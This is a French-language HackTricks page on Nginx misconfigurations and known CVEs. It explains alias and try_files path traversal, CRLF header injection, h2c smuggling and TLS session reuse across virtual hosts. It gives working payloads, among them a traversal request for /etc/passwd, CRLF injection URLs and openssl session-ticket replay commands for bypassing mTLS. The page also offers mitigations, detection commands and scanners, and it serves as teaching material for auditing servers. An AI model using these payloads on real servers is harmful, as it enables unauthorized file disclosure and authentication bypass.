Nginx
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Emplacement racine manquant
Lors de la configuration du serveur Nginx, la root directive joue un rôle crucial en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l’exemple ci-dessous:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
Dans cette configuration, /etc/nginx est désigné comme répertoire root. Cette configuration permet l’accès aux fichiers situés dans le répertoire root spécifié, tels que /hello.txt. Cependant, il est crucial de noter que seule une location spécifique (/hello.txt) est définie. Il n’y a pas de configuration pour la location racine (location / {...}). Cette omission signifie que la directive root s’applique globalement, permettant aux requêtes vers le chemin racine / d’accéder aux fichiers sous /etc/nginx.
Une considération critique de sécurité découle de cette configuration. Une simple requête GET, par exemple GET /nginx.conf, pourrait exposer des informations sensibles en servant le fichier de configuration Nginx situé à /etc/nginx/nginx.conf. Définir le root sur un répertoire moins sensible, comme /etc, pourrait atténuer ce risque, mais cela peut néanmoins permettre un accès involontaire à d’autres fichiers critiques, y compris d’autres fichiers de configuration, des logs d’accès, et même des identifiants chiffrés utilisés pour HTTP basic authentication.
Mauvaise configuration Alias LFI
Dans les fichiers de configuration de Nginx, une inspection attentive des directives “location” est nécessaire. Une vulnérabilité connue sous le nom de Local File Inclusion (LFI) peut être involontairement introduite par une configuration qui ressemble à la suivante :
location /imgs {
alias /path/images/;
}
Cette configuration est sujette aux attaques LFI car le serveur interprète des requêtes comme /imgs../flag.txt comme une tentative d’accès à des fichiers en dehors du répertoire prévu, résolvant en effet vers /path/images/../flag.txt. Cette faille permet aux attaquants de récupérer des fichiers du système de fichiers du serveur qui ne devraient pas être accessibles via le web.
Pour atténuer cette vulnérabilité, la configuration doit être ajustée pour :
location /imgs/ {
alias /path/images/;
}
Plus d’informations : https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Tests Accunetix :
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
Restriction de chemin non sécurisée
Consultez la page suivante pour apprendre comment contourner des directives comme :
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
Unsafe variable use / HTTP Request Splitting
Caution
Variables vulnérables
$uriet$document_uri et cela peut être corrigé en les remplaçant par$request_uri.Une regex peut aussi être vulnérable comme :
location ~ /docs/([^/])? { … $1 … }- Vulnerable
location ~ /docs/([^/\s])? { … $1 … }- Not vulnerable (checking spaces)
location ~ /docs/(.*)? { … $1 … }- Not vulnerable
Une vulnérabilité dans la configuration de Nginx est démontrée par l’exemple ci-dessous :
location / {
return 302 https://example.com$uri;
}
Les caractères \r (Carriage Return) et \n (Line Feed) signifient des caractères de nouvelle ligne dans les requêtes HTTP, et leurs formes encodées en URL sont représentées par %0d%0a. Inclure ces caractères dans une requête (par exemple, http://localhost/%0d%0aDetectify:%20clrf) vers un serveur mal configuré entraîne que le serveur émette un nouvel header nommé Detectify. Cela se produit parce que la variable $uri décode les caractères de nouvelle ligne encodés en URL, conduisant à un header inattendu dans la réponse :
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
En savoir plus sur les risques de CRLF injection and response splitting à https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.
Cette technique est également expliquée dans cette conférence avec quelques exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration depuis une perspective blackbox, vous pouvez effectuer ces requêtes :
https://example.com/%20X- Any HTTP codehttps://example.com/%20H- 400 Bad Request
Si vulnérable, la première renverra une réponse (X peut être n’importe quelle méthode HTTP) et la seconde renverra une erreur car H n’est pas une méthode valide. Le serveur recevra donc quelque chose comme : GET / H HTTP/1.1 et cela déclenchera l’erreur.
D’autres exemples de détection seraient :
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- Any HTTP codehttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
Quelques configurations vulnérables présentées dans cette conférence étaient :
- Notez comment
$uriest défini tel quel dans l’URL finale
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- Remarquez qu’à nouveau
$urise trouve dans l’URL (cette fois à l’intérieur d’un paramètre)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- Maintenant sur AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
N’importe quelle variable
Il a été découvert que les données fournies par l’utilisateur peuvent être traitées comme une variable Nginx dans certaines circonstances. La cause de ce comportement reste quelque peu énigmatique, mais il n’est ni rare ni facile à vérifier. Cette anomalie a été mise en évidence dans un rapport de sécurité sur HackerOne, consultable ici. Une investigation plus approfondie du message d’erreur a permis d’identifier son apparition dans le module de filtrage SSI du code source de Nginx, désignant Server Side Includes (SSI) comme cause principale.
Pour détecter cette mauvaise configuration, la commande suivante peut être exécutée, elle consiste à définir l’en-tête Referer pour tester l’affichage de variables :
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
Des scans de cette mauvaise configuration sur les systèmes ont révélé plusieurs cas où des variables Nginx pouvaient être affichées par un utilisateur. Cependant, la diminution du nombre d’instances vulnérables suggère que les efforts pour corriger ce problème ont été quelque peu efficaces.
Utilisation de try_files avec les variables $URI$ARGS
La mauvaise configuration Nginx suivante peut conduire à une vulnérabilité LFI :
location / {
try_files $uri$args $uri$args/ /index.html;
}
Dans notre configuration, nous avons la directive try_files qui est utilisée pour vérifier l’existence de fichiers dans l’ordre spécifié. Nginx servira le premier qu’il trouvera. La syntaxe de base de la directive try_files est la suivante :
try_files file1 file2 ... fileN fallback;
Nginx vérifiera l’existence de chaque fichier dans l’ordre spécifié. Si un fichier existe, il sera servi immédiatement. Si aucun des fichiers spécifiés n’existe, la requête sera transmise à l’option de repli, qui peut être un autre URI ou une page d’erreur spécifique.
Cependant, lorsqu’on utilise les variables $uri$args dans cette directive, Nginx tentera de chercher un fichier correspondant à l’URI de la requête combiné avec les arguments de la query string. Nous pouvons donc exploiter cette configuration :
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
Avec la payload suivante :
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
En utilisant notre payload, nous allons sortir du répertoire racine (défini dans la configuration Nginx) et charger le fichier /etc/passwd. Dans les logs de debug, on peut observer comment Nginx tente les fichiers :
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC contre Nginx en utilisant la configuration mentionnée ci‑dessus :

Lecture de la réponse brute du backend
Nginx offre une fonctionnalité via proxy_pass qui permet l’interception des erreurs et des en-têtes HTTP produits par le backend, dans le but de masquer les messages d’erreur et les en-têtes internes. Cela se fait en servant des pages d’erreur personnalisées en réponse aux erreurs du backend. Cependant, des problèmes surviennent lorsque Nginx reçoit une requête HTTP invalide. Une telle requête est retransmise au backend telle quelle, et la réponse brute du backend est alors envoyée directement au client sans intervention de Nginx.
Considérons un scénario d’exemple impliquant une application uWSGI :
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
Pour gérer cela, des directives spécifiques dans la configuration Nginx sont utilisées :
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: Cette directive permet à Nginx de renvoyer une réponse personnalisée pour les réponses du backend ayant un code de statut supérieur à 300. Elle garantit que, pour notre exemple d’application uWSGI, une réponse
500 Errorest interceptée et gérée par Nginx. - proxy_hide_header: Comme son nom l’indique, cette directive masque certains en-têtes HTTP spécifiés au client, améliorant la confidentialité et la sécurité.
Lorsqu’une requête GET valide est effectuée, Nginx la traite normalement, renvoyant une réponse d’erreur standard sans révéler d’en-têtes secrets. Cependant, une requête HTTP invalide contourne ce mécanisme, entraînant l’exposition des réponses brutes du backend, y compris les en-têtes secrets et les messages d’erreur.
merge_slashes réglé sur off
Par défaut, la directive merge_slashes de Nginx est réglée sur on, ce qui compresse plusieurs barres obliques dans une URL en une seule. Cette fonctionnalité, bien qu’elle simplifie le traitement des URL, peut involontairement dissimuler des vulnérabilités dans les applications derrière Nginx, en particulier celles sujettes aux attaques de local file inclusion (LFI). Les experts en sécurité Danny Robinson et Rotem Bar ont souligné les risques potentiels liés à ce comportement par défaut, surtout lorsque Nginx fait office de reverse-proxy.
Pour atténuer ces risques, il est recommandé de désactiver la directive merge_slashes pour les applications susceptibles de ces vulnérabilités. Cela garantit que Nginx transfère les requêtes à l’application sans modifier la structure de l’URL, n’occultant ainsi aucun problème de sécurité sous-jacent.
For more information check Danny Robinson and Rotem Bar.
En-têtes de réponse Maclicious
As shown in this writeup, there are certain headers that if present in the response from the web server they will change the behaviour of the Nginx proxy. You can check them in the docs:
X-Accel-Redirect: Indique à Nginx de rediriger en interne une requête vers un emplacement spécifié.X-Accel-Buffering: Contrôle si Nginx doit mettre en tampon la réponse ou non.X-Accel-Charset: Définit l’encodage des caractères pour la réponse lors de l’utilisation de X-Accel-Redirect.X-Accel-Expires: Définit le temps d’expiration pour la réponse lors de l’utilisation de X-Accel-Redirect.X-Accel-Limit-Rate: Limite le débit de transfert des réponses lors de l’utilisation de X-Accel-Redirect.
Par exemple, l’en-tête X-Accel-Redirect provoquera une redirection interne dans Nginx. Ainsi, avoir une configuration Nginx contenant quelque chose comme root / et une réponse du serveur web avec X-Accel-Redirect: .env fera que Nginx enverra le contenu de /.env (Path Traversal).
Valeur par défaut dans la directive map
Dans la configuration Nginx, la directive map joue souvent un rôle dans le contrôle d’autorisation. Une erreur fréquente est de ne pas spécifier une valeur par défaut, ce qui peut conduire à un accès non autorisé. Par exemple :
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
Sans default, un utilisateur malveillant peut contourner la sécurité en accédant à une URI non définie dans /map-poc. Le manuel Nginx conseille de définir une valeur par défaut pour éviter ce type de problème.
Vulnérabilité DNS Spoofing
Le DNS spoofing contre Nginx est possible sous certaines conditions. Si un attaquant connaît le serveur DNS utilisé par Nginx et peut intercepter ses requêtes DNS, il peut usurper les enregistrements DNS. Cette méthode, cependant, est inefficace si Nginx est configuré pour utiliser localhost (127.0.0.1) pour la résolution DNS. Nginx permet de spécifier un serveur DNS comme suit :
resolver 8.8.8.8;
proxy_pass et internal Directives
La directive proxy_pass est utilisée pour rediriger les requêtes vers d’autres serveurs, en interne ou en externe. La directive internal garantit que certains emplacements ne sont accessibles que depuis Nginx. Bien que ces directives ne constituent pas des vulnérabilités en elles-mêmes, leur configuration doit être examinée attentivement pour éviter des failles de sécurité.
proxy_set_header Upgrade & Connection
Si le serveur nginx est configuré pour transmettre les en-têtes Upgrade et Connection, une h2c Smuggling attack pourrait être réalisée pour accéder à des endpoints protégés/internes.
Caution
Cette vulnérabilité permettrait à un attaquant d’établir une connexion directe avec l’endpoint
proxy_pass(http://backend:9999dans ce cas) dont le contenu ne serait pas vérifié par nginx.
Example of vulnerable configuration to steal /flag from here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
Notez que même si
proxy_passpointait vers un chemin spécifique tel quehttp://backend:9999/socket.io, la connexion sera établie avechttp://backend:9999donc vous pouvez contacter n’importe quel autre chemin à l’intérieur de ce endpoint interne. Donc peu importe si un chemin est spécifié dans l’URL de proxy_pass.
HTTP/3 QUIC module remote DoS & leak (2024)
En 2024, Nginx a publié CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 et CVE-2024-35200 montrant qu’une seule session QUIC hostile peut faire planter les processus worker ou leak memory chaque fois que le module expérimental ngx_http_v3_module est compilé et qu’une socket listen ... quic est exposée. Les builds impactés sont 1.25.0–1.25.5 et 1.26.0, tandis que 1.27.0/1.26.1 contiennent les correctifs ; la memory disclosure (CVE-2024-34161) nécessite en outre des MTU supérieurs à 4096 octets pour faire apparaître des données sensibles (détails dans l’avis nginx 2024 référencé ci-dessous).
Recon & exploitation hints
- HTTP/3 est opt-in, donc scannez les réponses
Alt-Svc: h3=":443"ou brute-forcez les handshakes QUIC sur UDP/443 ; une fois confirmé, fuzzez le handshake et les frames STREAM avec des payloads customquiche-client/nghttp3pour provoquer des plantages de worker et forcer du log leakage. - Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
Contournement de la reprise de session TLS pour client cert auth (CVE-2025-23419)
Un avis publié en février 2025 a révélé que nginx 1.11.4–1.27.3 compilé avec OpenSSL permet de réutiliser une session TLS 1.3 d’un vhost basé sur le nom dans un autre, de sorte qu’un client ayant négocié un hôte sans certificat peut rejouer le ticket/PSK pour basculer dans un vhost protégé par ssl_verify_client on; et contourner complètement le mTLS. Le bug se déclenche chaque fois que plusieurs vhosts partagent le même cache de sessions TLS 1.3 et les tickets (voir le bulletin nginx 2025 référencé ci‑dessous).
Playbook de l’attaquant
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
Si la cible est vulnérable, la deuxième poignée de main s’achève sans présenter de certificat client, révélant des emplacements protégés.
Ce qu’il faut auditer
- Blocs
server_namemixtes qui partagentssl_session_cache shared:SSLetssl_session_tickets on;. - Blocs Admin/API qui attendent mTLS mais héritent des paramètres de cache de session/tickets partagés depuis des hôtes publics.
- Automatisation qui active la reprise de session TLS 1.3 globalement (p. ex., Ansible roles) sans tenir compte de l’isolation des vhost.
HTTP/2 Rapid Reset resilience (comportement CVE-2023-44487)
The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank keepalive_requests or http2_max_concurrent_streams beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues RST_STREAM frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits “substantially higher” makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).
Conseils de détection
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
Les hôtes qui exposent des valeurs anormalement élevées pour ces directives sont des cibles de choix : un client HTTP/2 peut boucler la création de streams et l’envoi instantané de trames RST_STREAM pour maintenir le CPU saturé sans déclencher la limite de concurrence.
Essayez-le vous-même
Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour configurer votre propre serveur de test Nginx vulnérable contenant certaines des mauvaises configurations abordées dans cet article et tenter de les trouver vous-même !
https://github.com/detectify/vulnerable-nginx
Outils d’analyse statique
gixy-ng & Gixy-Next & GIXY
- Gixy-Next (un fork mis à jour de GIXY) est un outil d’analyse des configurations Nginx, visant à détecter des vulnérabilités, des directives non sécurisées et des mauvaises configurations risquées. Il identifie également des mauvaises configurations impactant la performance et détecte les opportunités de durcissement manquées, permettant une détection automatisée des défauts.
- gixy-ng (le fork activement maintenu de GIXY) est un outil d’analyse des configurations Nginx, visant à détecter des vulnérabilités, des directives non sécurisées et des mauvaises configurations risquées. Il identifie également des mauvaises configurations impactant la performance et détecte les opportunités de durcissement manquées, permettant une détection automatisée des défauts.
Nginxpwner
Nginxpwner est un outil simple pour rechercher des mauvaises configurations courantes de Nginx et des vulnérabilités.
Références
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

